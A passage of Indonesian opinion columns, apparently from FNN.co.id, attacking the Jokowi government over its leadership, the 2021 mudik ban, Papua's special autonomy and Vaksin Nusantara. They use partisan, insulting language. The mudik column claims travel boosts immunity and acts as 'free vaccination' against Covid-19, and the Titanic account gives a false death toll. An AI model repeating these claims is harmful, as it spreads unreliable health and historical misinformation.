kementerian, Kemendikbud dan Kemenristek bakalan digabungkan menjadi satu kementerian. Secara jujur, sebenarnya tidak sedikit para menteri yang membantu kinerja Jokowi, memiliki integritas keilmuan mumpuni di bidangnya. Mereka paham betul terkait apa yang dibebankan dan tengah dia kerjakan. Sebut saja misalnya, Prabowo Subianto, Sri Mulyani, Bambang Brojonegoro, Sandiaga Uno, Mahfud MD serta sejumlah menteri lainnya. Mereka pada dasarnya bukan pribadi yang dungu, dongo, keleng-kaleng, odong-odong dan beleng-beleng. Merka sangat menguasai persoalan tugasnya. Prabowo sngat menguasai manageman pertahanan, keamanan, intelijen dan jagad siasat bertempur. Sri Mulyani mengerti semua bab finansial dan seluk beluk perekonomian global. Bambang Brojonegoro juga ahli bidang ekonomi. Sandiaga Uno, tidak ada pihak yang meragukan kemampuannya dalam hal ekonomi mikro. Termasuk mencari celah dan terobosan pasar rakyat. Pun demikian dengan Mahfud Md, sebagai sosok yang dikenal sebagai ahli hukum tata negara. Meski begitu, mengapa negara tidak mampu meluncur sebagaimana harapan Undang Undang Dasar 1945 maupun Pancasila? Kenyataan itu disebabkan sehebat apapun seorang menteri, dia adalah anak buah presiden. Sekalipun presidennya itu tidak hebat, tetap saja menteri itu anak buah. Disini berlakulah sebuah ungkapan, “seluas angkasa kepintaran seseorang akan dikalahkan hanya dengan seruang kekuasaan. Itu uncontested. Tidak terbantahkan! Untuk mempermudah memahami, kita tarik saja satu permisalan. Perjalanan sebuah bus umum yang penuh dengan aneka rupa angkutan, baik orang maupun barang, tentu semuanya berada di bawah kendali sang pengemudi alias sopir. Sehebat apa pun kernet, kondektur, mekanik, pramugari maupun para penumpang itu sendiri tidak memiliki kewenangan mengatur sopir. Keterangan yang ditempel dalam interior berbunyi, "dilarang berbicara dengan sopir" itu sebagai indikator bahwa keselamatan seisi ruangan bus selama dalam perjalanan menjadi urusan sopir. Nah sekarang yang menjadi persoalan adalah, bagaimana kompetensi sang sopir tersebut dalam hal kecakapan mengemudi? Apakah benar-benar sopir tersebut bisa mengemudi? Apakah para penumpang betul-betul akan diantar ke tempat tujuan sesuai rute busnya? Mulailah bus "PO Indonesia" meluncur di wilayah pegunungan. Jalur yang dilintasi bukan sekedar lurus dan mulus, yang mana sopir yang kemarin sore baru bisa mengemudi pun bisa mengendalikannya. Melainkan terdapat seribu satu tanjakan dan turunan, yang dilengkapi dengan lembah dan jurang terjal di kanan kirinya. Terkadang tanjakan atau turunan itu disertai tikungan sulit, sempit dan rumit. Deretan bukit dan tebing tinggi yang memagari sepanjang jalur, setiap saat siap longsor dan meleburkan bus jika sang pengemudi tudak punya kemampuan membaca situasi. Belum lagi di musim penghujan, jalanan licin yang dalam hitungan detik bisa melempar bus berikut isinya ke dasar jurang. Ilustrasi perjalanan darat seperti itu tentu sangat dibutuhkan seorang pengemudi yang handal, cekatan, tangkas dan trengginas. Senantiasa memberi arti, bahwa penumpang menjadi yang utama diberikan kenyamanan dan keselamatan. Pendek kata harus sopir profesional, bukan amatir. Namun jika sang pengemudi ternyata tidak seperti yang diharapkan, bagaimana nasib para penumpang, kru dan pengguna jalan lainnya? Saat sang kernet memberi sinyal agar sopir memperlambat laju bus, lantaran di depan ada penyeberang jalan. Bagaimana laju bus bisa lambat? Masalahnya si sopir tidak mengerti mana pedal gas, pedal kopling dan pedal rem. Begitu suga ketika kernet memberikan aba-aba agar sopir segera memindah akselerasi mesin ke gigi satu, karena jalur menurun tajam. Tentu laju bus hilang kendali dan menyelonong liar, lantaran sopir tidak paham yang sebelah mana handle persnelingnya. Giliran ketika mekanik mengingatkan sopir agar segera mengambil tempat beristirahat, lantaran perjalanan yang sudah sekian jam mengakibatkan suhu mesin meninggi. Namun sopir tidak menggubris. Indikator temperatur di dashboard malah dikiranya jarum jam. Sopir tidak berusaha merapat untuk berhenti, melainkan malah menggenjot gas sejadi jadinya. Tentu mesin terbakar lantaran overheating. Begitu juga ketika di depan terdapat rambu penunjuk arah jalan, ke kiri dan ke kanan. Arah kiri menuju jurang, sedangkan kanan menuju obyek wisata kesejahteraan. La kok sopir bodoh tersebut malah banting setir ke kiri, lantaran dia tidak paham yang mana panel lampu signnya. Apa jadinya? Sudah bisa diterka dan dibayangkan, dalam kondisi bus yang dikemudikan seorang sopir yang barbar blas tidak mengerti dunia sopir menyopir ini, kondisi para penumpangnya pasti bengok-bengok laksana dikejar hantu. Menjerit-jerit ketakutan nggak karu-karuan. Mestinya, seorang sopir angkutan umum harus bisa membuat para penumpangnya duduk dengan tenang dan nyaman. Penumpang bisa menikmati perjalanan, duduk mengangkat kaki sambil baca link FNN.co.id. Atau tidur pulas, tanpa khawatir terjadi kecelakaan lalu lintas. Bukan malah menutup-nutupi ketidak becusannya mengemudi, dengan meminta para penumpangnya tetap tenang dan optimis. Tenang dan optimis yang bagaimana? Orang laju bus juga nggak jelas tujuannya? Lajunya oleng. Miring ke kanan atau kiri. Kadang berjalan mundur. Sedangkan bagi awak bus yang membangkang, akan dipecat. Diganti yang lebih bego. Supaya nurut apa kata sopir. Sehingga bisa diajak bekerjasama dalam per-goblog-an. Sementara bagi penumpang yang protes, akan diturunkan. Bila perlu dilaporkan ke Bareskrim Polri, agar bisa dipenjarakan. Lantaran dianggap bikin kisruh dalam bus, hingga menggangu perjalanan. Padahal sumber kekisruhan tersebut justru sopirnya sendiri. Busyeeetttt..!!! Dulu, waktu debat Capres dua tahun silam, Prabowo Subianto menyampaikan sebuah analisa, bahwa ke depan akan lebih banyak lagi BUMN yang kolaps. Dan ternyata benar itu terjadi hari ini. Saat ini sulit dituliskan (saking banyaknya) deretan BUMN yang megap-megap. Bahkan, Prabowo Subianto mengulas novel fiksi, Ghost Fleet, yang isinya dominasi sebuah analisa intelektual tentang negara Indonesia yang di kemudian hari nanti hanya tinggal kenangan. Namun kala itu Jokowi membantahnya dengan argumen mentah. Hanya mengajak agar bangsa Indonesia optimis. Jangan pesimis. Tidak bisa menyampaikan materi bantahannya secara detil, yang bisa terlihat sebagai diplomasi berkelas dan mematahkan tudingan lawannya. Harusnya Jokowi waktu itu bisa membantah kekhawatiran Prabowo Subianto, dengan jawaban yang lebih mengena dan mendasar. Mengapa? Karena Jokowi sebagai incumbent tentu memiliki seribu gudang repository atau metadata, yang bisa diminta dari semua menterinya. Namun Jokowi malah meminta Prabowo agar menggunakan data jika berbicara. Akan tetapi, Prabowo yang bicara tanpa data saja bisa membuktikan kebenaran analisanya. Terlebih jika menggunakan data. Sederet whistleblower seperti Amien Rais, Habib Rizieq Shihab, Syahganda Nainggolan, Rocky Gerung, Natalius Pigai, Munarman, Dien Syamsudin, Gatot Nurmantyo dan oposan lainnya tidak pernah lelah meniupkan peluitnya. Berulangkali mereka mengingatkan Jokowi mengenai ketidak beresan terkait kebijakan pemerintah. Baik bab hukum, ekonomi, pendidikan, sosial dan lainnya. Yang paling kentara, pelanggaran HAM akibat praktik diskresi yang dilakukan aparat kepolisian. Yakni, gugurnya 6 mantan anggota laskar Front Pembela Islam (FPI) di tangan polisi yang kemudian dikenal dengan istilah malapetaka kilometer 50 tol Jakarta-Cikampek (Japek). Juga terjadinya disparitas oleh para penegak hukum, hingga mengakibatkan Habib Rizieq Shihab (HRS) dipenjara. Serta sejumlah penentang kebijakan Jokowi lainnya, hingga mengantarkan beliau-beliau berurusan hukum. Namun, berbagai masukan para pengkritik tersebut tidak pernah mendapat tanggapan melegakan dari Jokowi. Ibarat sopir bus yang tabrak lampu merah, jalan terus. Pengabaian Jokowi terhadap para pengkritiknya itu, mengingatkan legenda tenggelamnya kapal pesiar paling mewah 109 tahun silam, “Kapal Titanic”. Hanya berselang empat hari setelah lego jangkar atau 15 April 1912 ,Titanic tenggelam di laut bebas, Samudera Atlantik Utara, pada dini hari pukul 02.20. Sebanyak 2.200 penumpang, termasuk awak kapalnya tewas menyedihkan. Singkat kisahnya, kapal sepanjang 217 meter mulai dari haluan sampai buritan yang dinahkodai Kapten EJ Smith itu menabrak gunung es. Soal celakanya kapal milik Britania Raya itu akibat menabrak gunung es, memang benar. Akan tetapi yang penting untuk digaris bawahi dalam insiden mendunia itu adalah, bahwa Kapten “Kapal Titanic” telah berani mengabaikan sejumlah peringatan. Sejumlah suar dan pesan yang dikirim lewat radio oleh kapal-kapal kecil di sekelilingnya diabaikan. Akhirnya Kapten “Kapal Titanic” mengabarkan bahaya gunung es di dekatnya. Kecelakaan laut tak terhindarkan. Maka tamatlah riwayat Titanic termasuk nahkodanya, Kapten EJ Smith. Semoga tidak untuk Indonesia saat ini maupun nanti. Penulis adalah Wartawan FNN.co.id.

Mudik Kok Pelik? Itu Hak Rakyat Untuk Gembira

by Yusuf Blegur Jakarta FNN - Sejatinya pemerintah tahu dan mau memahami mudik itu adalah bagian dari spiritualitas rakyat Indonesia. Sebagaimana terdapat dalam makna substantif Pancasila. Maka kegiatan rutinitas mudik saban tahun itu, sesungguhnya merupakan tradisi religius yang sarat nilai etos dan mitos (bagian dari kerja dan kepercayaan yang sudah menjadi keyakinan rakyat) dari hampir seluruh masyarakat Indonesia yang begitu kaya secara kultural. Nilai-Nilai Mudik Selain menegaskan kekayaan nusantara secara geografis dan kebhinnekaannya yang unik, aktifitas mudik melambangkan banyak nilai positif dari banyak hal. Diantaranya sebagai ekspresi kerinduan dan pengabdian pada orang tua dan sanak saudara. Mereka berjuang hadapi tantangan hidup selama di perantauan dan hadapi hambatan dalam perjalanan. Melewati antrian macet yang panjangnya berkilo-kilo meter, mennggu lancarnya perjalanan berjam-jam adalah suka duka perjalanan, serta bunga-bunga indah situasi mudik. Kondisi ini tidak bisa ditakar atau disejajarkan dengan ketenangan batin apapun. Justru dengan mudik pula, ketahanan imun dalam tubuh mereka akan meningkat dengan drastis. Selama setahun mereka menjadi perantau sebagai pejuang ekonomi. Berjibaku mengumpulkan rezeki sebagai bekal bertahan hidup dan mengangkat derajat sosial ekonomi keluarga. Sehingga tradisi mudik sesungguhnya membawa berkah tersendiri. Mudik ikut memberi andil besar dalam menghidupkan dan menggerakan perputaran ekonomi masyarakat di pedesaan yang lesu selama setahun pandemi covid-19 terjadi. Dengan mudik, makan ekonomi di pedesaaan, baik pemudik itu sendiri maupun secara struktural bakal meningkatkan daya beli masyarakat di daerah. Masih banyak lagi nilai sosial ekonomi dalam aktifitas mudik yang bisa diurai dalam tinjauan spiritual maupun material. Sehingga mudik sangat perlu dilakukan, karena lebih banyak manfaatnya dari mudharatnya. Mudik Dilarang Kini mudik dilarang lagi pemerintah. Kebijakan pelarangan mudik tahun ini masih karena pertimbangan Covid-19. Sebenarnya terkesan menjadi paradoks, sebab disaat pemerintah berusaha untuk menjaga keseimbangan keselamatan rakyat dan pertumbuhan ekonomi, justru potensi peningkatan daya beli masyarakat dihalangi. Pilkada 2020 lalu berhasil dilaksanakan di 200 lebih Provinsi dan Kabupaten-Kota. Masalahnya banyak aktifitas pemerintahan yang secara esensi tidak berbeda dengan kegiatan mudik. Misalnya keramaian berkumpul akibat berkunjungnya pejabat pusat ke daerah. Banyak lagi kerumunan serta kegiatan massal yang tetap ada dan dibiarkan di seantero tempat di Indonesia. Bahkan kerumunan kerap dicontohkan oleh Presiden dan elit politik lain ditengah pandemi Covid-19 Mirisnya aktifitas yang secara kualitas kemanfaatannya jauh dari kegiatan mudik ternyata masih tetap dibolehkan. Yang paling nyata adalah tempat hiburan seperti club malam, restoran mahal, dan bahkan pesta pernikahan mewah dan bombastis tidak dipermasalahkan. Malah Presiden dan pejabat tinggi negara lainnya hadir sebagai peserta utama. Fenomena itu wajar jika pada akhirnya, menimbulkan kecemburuan. Rasa ketidakadilan yang berujung pada sikap skeptis dan apriori terhadap pemerintah semakin menggung. Kenyataan ini makin diperparah dengan penegakkan hukum yang pincang dan tebang pilih. Semua ini berakibat pada kepercayaan publik terhadap kebijakan pemerintah yang semakin merosot. Sangat disayangkan dalam banyak aktifitas reguler lainnya yang terbuka dan menghimpun banyak orang dengan aturan prokes. Namun aturan prokes seperti kenapa tidak bisa diterapkan juga pada aktifitas dan perjalanan mudik. Yang pasti dengan mudik, suasana batin menjadi sangat gembira. Daya tahan tubuh meningkat. Imun dalam tubuh semakin membiak pula. Bentuk Perlawanan Rakyat Pelarangan mudik itu juga sesungguhnya berpotensi menurunkan kewibawaan pemerintah. Citra dan wibawa pemerintah dipertaruhkan. Sebab, meski dilarang rakyat bisa main umpet-umpetan dengan petugas keamanan karena tekad mudiknya yang semakin kuat dan membara. Apalagi kebijakan mudik tersebut sempat plintat-plintut. Sebentar dibolehkan, sebentar lagi dilarang untuk waktu tertentu. Kalaupun banyak yang terjaring pelanggaran dan terkena sangsi mudik, itu belum pantas disebut keberhasilan pemerintah menegakkan hukum. Lebih tepatnya disebut pemerintah gagal mengelola aspirasi rakyatnya. Sebab rakyat justru mengabaikan aturan pemerintah yang melarang mudik. Itu semacam bentuk perlawanan sipil dari rakyat. Pemerintah mestinya memahami besarnya efek psikologis yang terjadi dari dampak pelarangan mudik tersebut. Bukankah dengan mudik itu melahirkan kegembiran, kesenangan dan kebahagiaan seluruh masyarakat. Baik itu mereka yang merantau maupun sanak saudara yang ditinggalkan di kampung? Suasana kegembiraan yang tidak bisa dikonvensi dengan materi. Apalagi hanya kebijakan negara. Mudik dan Imunitas Bukankah kebahagiaan rakyat itu mendorong kekuatan mental dan fisik bangsa? Keceriaan dan senyum masyarakat pemudik karena akan berrtemua dengan sanak-saudaranya saudaranya pastilah akan memicu imun dan meningkatkan kesehatannya. Lalu mengapa harus dilarang. Bukankah itu bentuk lain dari vaksinasi yang gratis? Biarlah pandemi kita waspadai dengan prokes yang ketat tanpa merebut kebahagiaan rakyat Indonesia. Bisa jadi mudik tahun ini menjadi penangkal "hantu Covid-19 yang terkutuk itu”. Bisa jadi mudik menjadi bentuk kontribusi rakyat di pelbagai lapisan untuk membantu pemerintah mewujudkan gairah dan mendorong geliatnya ekonomi nasional. Jadi, santuy saja pemerintah. Jangan anggap remeh juga, namun jangan berlebihan. Jangan berpikir yang pelik-pelik soal mudik. Biarlah rakyat menikmati pestanya, tradisinya dan hiburannya sendiri. Toh rakyat mudik bukan dari uang hasil korupsi. Mudik bukan menggunakan uang dan fasilitas negara. Biarkan uang negara dan fasilitas negara lainya dipakai saja oleh pejabat negara. Jangan juga perlawanan rakyat melalui mudik dipahami sebagai agenda politik. Santuy saja bro, karena mudik itu hak rakyat. Hanya setahun sekali ini. Hasil dari bekerja dengan susah-payah mengumpulkan uang selama setahun. Toh polri bilang boleh mudik sebelum tanggal 6 Mei. Ayo mudiiiiiiiiiik ! Penulis adalah Pekerja Sosial dan Pemikir Rakyat Jelata.

Rakyat Tolak Otsus Papua, Jakarta Jangan Sok Kuasa

by Marthen Goo Jayapura FNN - Ketika bicara negara Indonesia, tentu tidak terlepas dari bicara sejarah bangun negara. Dimana Indonesia dibangun atas kesepakatan bersama oleh pendiri bangsa. Soekarno dan the founding fathers lainnya sangat membuka ruang dan menghargai proses demokrasi dengan perdebatan gagasan. Dasarnya adalah kesepakatan bersama mendirikan sebuah negara dari gagasan-gagasan yang dilahirkan. Logikanya, ketika merumuskan sesuatu kebijakan dalam pembangunan nasional, mestinya juga didasari pada kesepakatan bersama. Bukan pada pemaksaan kekuasaan. Apalagi Indonesia yang multi kultur, multi ras, multi kebudayaan, mestinya proses demokrasinya harus dimatangkan dalam semangat kebangsaan. Bukan pemaksaan kehendak mayoritas, seakan-akan mewakili kaum minoritas dalam kebangsaan. Tragisnya, kebijakan yang diambil justru merugikan kaum minoritas. Demokrasi dan penghormatan pada kebhinekaan mestinya dihargai sebagai upaya untuk memajukan dan penghormatan Hak Asasi Manusia (HAM). Semangat itu, kemudian lahir yang namanya konstitusi. Dalam konstitusi, pasal 1 ayat (2) menyebutkan bahwa “kedaulatan di tangan rakyat dan dilakukan menurut Undang-undang Dasar”. Terhadap pasal ini, yang pembatasannya jelas pada UUD’45. Untuk itu, mari kita berpegang pada prinsip-prinsip dasar konstitusi yang dirumuskan dalam tujuan nasional, yakni pada pembukaan yaitu (1) melindungi, (2) mensejahterakan, (3) mencerdaskan, dan (4) penertiban. Jika merujuk pada semangat konstitusi di Indonesia yang dikenal dengan UUD’45 itu, apakah UU No. 21 Tahun 2001 Tentang Otonomi Khusus Papua telah memenuhi tujuan nasional? Jika tidak terpenuhi, dan turut menghancurkan kehidupan orang Papua, apalagi selama berlangsungnya otonomi khusus justru mengancam kehidupan warga bangsa, maka sebaiknya tidak perlu dipaksakan. Dalam kenyataannya, pelaksanaan otonomi khusus tersebut hanya menyenangkan para pejabat di tanah Papua. Sebaliknya rakyat malah yang sengsara dan semakin menderita kehidupannya. Maka wajar saja kalau rakyat Papua memiliki hak konstitusional untuk menolak otonomi khusus tersebut. Untuk itu, pemerintah pusat tidak perlu mamaksakan kehendak. Jangan sok kuasa. Penolakan otonomi khusus sudah berjalan sejak tahun 2004 lalu. Pada tahun tersebut, Dewan Adat Papua sebagai lembaga adat yang menjadi payung adat bagi seluruh rakyat di tanah Papua melakukan aksi besar-besaran di Jayapura, ibu kota propinsi Papua dengan menolak otonomi khusus. Rumusan otonomi khusus tidak mempertimbangkan aspek kekhususan Papua. Tidak juga menjelaskan pada pasal mana saja proteksi tersebut dirumuskan. Penolakan otonomi khusus terus berjalan di tanah Papua. Bahkan di tahun 2008, rakyat Papua di Nabire juga melakukan aksi dengan membawa peti-mati yang bertuliskan “Otonomi Khusus Telah Mati”. Aspirasi rakyat itu oleh DPRD Nabire, dibawa ke DPRP Propinsi. Tahun 2009 dan 2010, di Jayapura, dilakukan aksi besar-besaran yang diorganisir oleh Forum Demokrasi (Fordem). Aksinya dipusatkan di kantor MRP, DPR-P dan Gubernur dengan isu yang sama. Aksi-aksi penolakan otsus di Papua berjalan terus tanpa henti. Bahkan di tahun 2021 ini, di Dogiyai dilakukan aksi besar-besaran dua kali menyampaikan penolakan terhadap otonomi khusus dan penolakan pemekaran provinsi Papua. Aksi di Dogiyai merupakan aksi seluruh komponen rakyat Papua di Dogiyai. Rentetan semua itu menunjukan bahwa rakyat di Papua menolak otonomi khusus. Sementara di Yahukimo, rakyat melakukan aksi yang sama untuk menolak otonomi khusus. Sam Awom dalam zoom meeting 24 maret 2021 lalu menyebutkan bahwa “rakyat Papua menolak otonomi khusus. Sehingga oknum elit di Jakarta jangan mengatas-namakan rakyat untuk dorong otonomi khusus revisi. Rakyat hari ini meminta referendum sebagai jalan demokratis”. Sam Awom sebagai koordinator penandatanganan penolakan Otsus berkali-kali menyampaikan hal yang sama. Karena dalam petisi, dapat diukur bahwa rakyat Papua menolak otonomi khusus. Semestinya, ketika rakyat menolak otonomi khusus, DPR di senayan harus mendengarkan aspirasi rakyat. Bersikap menyuarakan aspirasi rakyat, karena esensi dari pada parlemen adalah perwakilan rakyat. Ruang aspirasi dan dengar pendapat rakyat harus dibuka selebar-lebarnya. Hari ini rakyat sudah menolak otonomi khusus. Jangan lagi direkayasa untuk melakukan revisi undang-undangnya Pada saat yang Papua menolak otonomi khusus secara merata di seluruh bumi Papua, Pemerintah Jakarta malah diam-diam ketemu dengan orang-orang yang tidak representatif dan mengatasnamakan rakyat Papua. Tujuanya hanya untuk kepentingan merubah Undang-Undang Otonomi Khusus. Bukan membuka ruang dialog yang seluas-luasnya, dari kabupaten ke kabupaten. Pemerintah pusat harus menunjukan profesionalistas dalam ketaatannya kepada konstitusi negara. Terutama yang berkaitan dengan keinginan merubah atau merevisi Undang-Undang otonomi khusus di Papua. karena merumuskan sebuah undang-undang harus dengar aspirasi rakyat. Bukan dengan upaya politisasi. Ini negara hukum yang sudah jelas perumusannya. Dasar hukum dari semangat bernegara adalah (1) tujuan nasional, (2) UUD’45, dan (3) UU. Jika tiga hal tersebut tidak terpenuhi, mestinya pemerintah berpikir format lain yang lebih memproteksi rakyat. Bukan dengan memaksakan kehendak. Fakta membuktikan bahwa otonomi khusus yang basisnya adalah Undang-Undang No. 21 Tahun 2001 tidak berhasil. Tidak berhasilnya pelaksanaan Undang-Undang Nomor 21 Tahun 2201 karena di dalam undang-undang khusus tersebut, tidak dimuat hal-hal yang berhubungan dengan masalah di Papua. mDengan demikian, tujuan nasional tidak ada dalam UU No. 21 Tahun 2001 untuk kehidupan bagi orang Papua. Selain itu, UUD’45, dimana pasal 1 ayat (2) dirujuk pada pasal 19 ayat (1) dan pasal 20 juga tidak berkolerasi. Cara pandang bahwa uang sebagai jawaban adalah sebuah kekeliruan yang patal. Karena cara pandang yang seperti itu, sama sekali tidak menghentikan marjinalisasi terhadap rakyat, pelanggaran HAM yang nyata dan telanjangserta dan kejahatan-kejahatan lainnya terhadap rakyat Papua. Soal paling penting dan strategis yang perlu dipikirkan dan dikaji baik-baik oleh pemerintah pusat. Prinsipnya adalah ketika rakyat sudah menolak otonomi khusus, karena tidak berhasil, maka, tugas pemerintah pusat adalah mencari jalan atau cara yang lebih besar dari otonomi khusus. Salah satunya adalah membuka ruang dialog dan perundingan yang seluas-luasnya dengan rakyat. Tidak ada cara lain. Jangan juga takut berhadapan dan berdialog dengan rakyat sendiri. Membuka dialog dan perundingan yang selebar-lebarnya juga ditegaskan oleh tokoh nasional asal Papua, Natalius Pigai. Tokoh pegiat HAM dan keadilan ini menyarankan agar segera “bekukan otonomi khusus dan gelar perundingan”. Barang kali, ini cara yang bisa ditempuh untuk mencari solusi bersama di Papua guna wujudkan Papua sebagai tanah yang damai untuk semua anak bangsa. Perundingan sendiri harus dilihat dalam semangat konstitusi negara. Pertama, semangat lahirnya negara. Kedua, musyawara untuk mufakat, yakni sila keempat. Ketiga, adanya referensi Aceh dalam perundingan untuk menyelesaikan masalah. Bahkan musyawarah untuk mufakat adalah ciri has kebudayaan bangsa yang wajib untuk dilestarikan. Dengan demikian, perundingan memenuhi ketentuan konstitusional. Mestinya kita harus jauh lebih bermartabat dalam menyelesaikan berbagai masalah di Papua. Bukan dengan praktek arogansi dan otoritarianisme. Apalagi mengabaikan prinsip-prinsip dalam bernegara. Jangan mengabaikan semangat rumusan UUD’45 yang didasarkan pada prinsip kemanusiaan sebagai dasar lahirnya konstitusi yang tertulis di Indonesia sebagai bentuk sistim hukum tertulis (eropa kontinental). Penulis adalah Aktivis Kemanusia Asal Papua.

Vaksin Nusantara, TNI Itu Bernafas Saja Mikirin Rakyat (Bagian-1)

Semua lembaga negara boleh saja lumpuh dan tidak berfungsi karena sutau sebab yang tidak diduga. Mungkin Presiden Lumpuh. Majelis Permusyawaratan Rakyat (MPR), Dewan Perwakilan Rakyat (DPR) dan Dewan Perwakilan daerah (DPD) juga lumpuh. Badan Pemeriksa Keuangan (BPK), Mahkamah Agung (MA), Mahkamah Konstitusi (MK) lumpuh. Komisi Pemberantasan Korupsi (KPK), Kejaksaan Agung dan Polisi mungkin ikut-ikutan lumpuh. Namun kita masih bisa tetap berdiri sebagai bangsa dan negara bila mempunyai TNI yang kuat sebagai tentara rakyat, tentara pejuang dan tentara pembanguan. Karena semua fungsi-fungsi negara tersebut bisa dikerjakan oleh TNI. PRESIDEN boleh saja berganti setiap saat. Bisa karena berakhirnya masa jabatan sebagai Presiden. Namun bisa juga karena satu dan lain hal diberhentikan dari Presiden atas perintah konstitusi. Namun tugas peran TNI dalam mengawal tujuan bernegara tidak pernah berakhir. Sebagai anak kandung rakyat, TNI akan selalu bersama-sama dengan rakyat dalam keadaan dan siatusi apapun. Baik diminta maupun tidak. Sebagai tentara pejuang dan tentara pembangunan, TNI tidak akan rela membiarkan rakyat berlama-lama dalam penderitaan dan kesengsaraan yang tak berkesudahan. Semangat dan spririt mencintau rakyat itulah yang mendorong para dokter dari perwira menengah TNI, terutama TNI Angkatan Darat menemukan Vaksin Nusantara. Tujuannya hanya satu, “untuk meringkan beban negara dan mengakhiri penderitaan rakyat mengahadapi pandemi Civid-19. Tidak lain selain itu. Vaksin Nusantara, yang proses penemuan dan penggunaannya datang dari dokter-diokter kalangan TNI, terutama Angkatan Darat, kini ramai diperbincangkan orang. Sebagian kalangan tanpa reserve mendukung kelanjutan proses penyelesaian dan penggunaan vaksin ini. Kalangan ini datang dari prajurit-prajurit TNI, yang telah purna tugas. Mereka cukup rasional dalam soal ini. Rasional, karena untuk alasan apapun, penemuan vaksin ini, mewakili satu aspek fundamental bangsa ini. Apa aspek itu? Aspek itu ialah bangsa ini memiliki orang-orang berotak dan kreatif. Temuan ini juga menandai bangsa ini tidak ingin terus-terusan menjadi bangsa “pembebek” dalam urusan “membebek” pada semua temuan, yang datang dari asing, terutama Cina. Sejarah mencatat kemajuan bangsa-bangsa di dunia, khusus Eropa jelas dalam soal ini. Semua aspek bangsa mereka tunjukan dengan sangat jelas. Kemajuan itu milik atau kerjanya orang-orang berotak. Mereka dengan otaknya memiliki keberanian mengambil tindakan berbeda, disaat banyak orang yang membebek pada status quo atau tradisi konyol dan konyol. Orang-orang berotak ini, dengan otak dan keberaniannya seolah menegaskan kalau kemajuan hanya datang menyapa sebuah bangsa, bila ada orang yang berpikir diluar pakem konyol. Secara terbuka menantang pakem konyol itu. Kamajuan bukan milik mereka yang jago membebek dengan segala argumentasi tradisional dan konyolnya itu. Sama sekali bukan. Tinggalkan mental “kuli” itulah kalimat lain yang seolah keluar dari mulut mereka yang memiliki otak. Sebab dengan otaknya dan keberaniannya menemukan peluang mendatangkan kemajuan. Mereka tahu mental kuli adalah mental orang-orang rendah diri, yang terlalu jago memuja teradisi-tradisi konyol. Mental mengejar keuntungan sesaat dari rente impor Vanksin Sinovac Rp 50 triliun dari Anggapan Pendapatan dan Belanja Negara (APBN). Itu sebabnya, tidak ada alasan sekecil apapun untuk menghambat pengembangan Vaksin Nusantara ini. Apalagi sampai menghentikan kelanjutan proses penyelesaian dan penggunaannya. Ini bukan perkara yang berkaitan dengan idiologis. Perkaranya jauh lebih besar dari itu. Perkaranya adalah bangsa ini bukan bangsa “pembebek”. Kita bukan juga bangsa yang hanya jago untuk menggunakan vaksin karya orang dan negara lain. Vanksin Sinovac buatan orang-orang Cina misalnya, sampai sekarang tidak diakui dan direkomendasi oleh organisasi kesehatan dunia, World Health Orgasation (WHO) untuk digunanakan oleh rakyat Indonesia. Itu penting lebih dari apapun dalam percaturan global. Anehnya sumua protokol kesehatan yang diterapkan di Indonesia hari ini menggunakan standar dari WHO. Isolasi mandiri maupun non mandiri selama 14 hari berdasarkan stadar WHO. Mencuci tangan, menggunakan masker dan menjaga jarak, atas anjuran WHO. Cara dan penanganan terhadap yang meninggal dunia karena positif Covid-19 juga menggunakan stadar dari WHO. Pertanyaannya, mengapa Indonesia dalam penggunakan vaksinnya bukan bedasarkan otorisasi WHO? Ini kan benar-benar bin ajaib. Kalau tidak menggunakan stadar dari WHO, mengapa bukan Vaksin Nusantara yang perlu untuk dikembangkan atau digunakan di Indonesia? Toh, sama-sama belum dapat rekomendasi dari WHO ini. Yang sudah pasti, akibat sikap WHO yang tidak memberikan otorirasi kepada Vaksin Sinavac buatan orang-orang dari negara Cina itu, umat Islam Indonesia menjadi korbannya. Terkena dampak sistemiknya Vaksin Sinovac. Jamaah umroh dari Indonesia ditolak masuk ke kota suci Makkah Al-Mukarramah dan Madinah Al-Munawwarah oleh pemerintah Saudi Arabai. Besar kemungkinan jemaah haji Indonesia tahun 2021 akan mengalami nasib yang sama. Bekaitan dengan pengembangan Vaksin Nusantara itu, kita harus memberi apresiasi. Berdiri bersama-sama, bahu-membahu secara politik dengan para dokter di Rumah Sakit Pusat Angkatan Darat (RSPAD) Gatot Subroto atas kreasi megagumkan ini. Kita senang, karena orang-orang waras sekelas Pak Gatot Nurmantyo, Aburizal Bakri, Siti Fadilah Sufari, Ahmad Sufmi Dasco, Melki Lakalena, Adian Napitupulu dan lainnya secara terbuka memberi dukungan atas sukesnya Vaksin Nusantara ini. Menariknya disaat yang sama sejumlah kalangan justru terlihat skeptik terhadap Vaksin Nusantara ini. Mereka adalah Mustofa Bisri, Abdillah Toha, Ade Armando, Ainun Najib, Ahmad Syafi'i Maarif, Akmal Taher, Anita Wahid, mantan Wapres RI Boediono, Butet Kertaradjasa, Djoko Susilo, Erry Riana Hadjapamekas, Saparinah Sadli, Natalia Subagyo, Kuntoro Mangkusubroto, Ismid Hadad, Marsilam Simanjuntak, Jajang C. Noer, dan lainnya, terlihat skeptik. Dalam pernyataan terbuka yang tersebar beberapa hari lalu, mereka menyatakan bahwa setiap penelitian vaksin perlu diputuskan oleh lembaga yang memiliki otoritas. Penelitian perlu diputuskan oleh lembaga negara yang memiliki otoritas, yakni Badan Pengawasan Obat dan Makanan (BPOM). Bagaimana kita merespon sikap kalangan skeptis ini? Kita harus bersikap sejelas mungkin terhadap masalah ini. Itu karena orang bodoh, dungu dan tolol juga tahu, kalau tidak ada obat bisa beredar di Indonesia tanpa otorisasi Badan Pengawasan Obat dan Makanan (BPOM). Kalau toh ada yang beredar tanpa otorisasi BPOM, itu disebut illegal. Jelas itu. Seharusnya sikap yang dipublikasikan Erik Riana Hardja Pamekas dan kawan-kawan adalah mendesak BPOM untuk terjun ke RSPAD. kut bersama-sama, berdiri bersama-sama, bekerja bersama-sama dengan dokter-dokter TNI Angkatan Darat yang mengambil prakarsa penelitian dan pengembangan Vaksin Nusantara itu. Bukan sikap sebaliknya yang telah diperlihatkan itu. Kampungan dan picik bangat sih. Apakah BPOM, Eri Riana Hardja Pamekas dan kawan-kawan tahu bagaimana proses penelitian dan pengembangan Vaksin Sinovak buatan orang-orang Cina itu? Apa Eri Riana Hardja Pamekas, Syafi Ma’rif dan kawan-kawan tahu bahan apa saja yang dipakai, dan bagaimana proses Vaksin Sinovak itu sampai bisa diekspor ke Indonesia? (bersambung).

Mewaspadai Penarikan Modal Asing

